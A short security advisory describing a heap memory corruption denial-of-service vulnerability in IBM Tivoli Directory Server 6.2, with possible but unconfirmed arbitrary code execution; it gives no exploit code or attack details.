IBM Tivoli Directory Server is prone to a denial-of-service vulnerability caused by heap memory corruption.
An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.
IBM Tivoli Directory Server 6.2 is vulnerable; other versions may also be affected.
